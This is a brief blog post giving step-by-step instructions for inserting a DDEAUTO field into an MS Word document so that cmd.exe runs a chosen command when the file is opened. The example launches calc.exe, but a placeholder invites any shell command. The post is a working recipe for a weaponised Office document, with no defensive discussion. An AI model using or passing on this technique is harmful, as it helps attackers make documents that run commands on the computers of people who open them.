Skip to main content

Posts

Showing posts from November, 2017

Execute Shell From MSWord

Step 1.)Open MS-Word as blank document Step 2.)Click insert->Quick parts->Field Step 3.)In field  Select = (formula) and click ok Step 4.)Select the text appeared and toggle its code by right clicking it. Step 5.)Enter following code in curly braces DDEAUTO c:\\Windows\\System32\\cmd.exe "/k [Shell code that you want to insert]" explained: DDEAUTO-> keyword to inform MSword that this is a DDE field and will auto execute  when the document is opened command is executed which is in "        " for example {DDEAUTO c:\\Windows\\System32\\cmd.exe "/k calc.exe"} Save it Run this on your own computer and select "yes" after it will prompt for permissions Finally it will open up calculator. TRY IT!!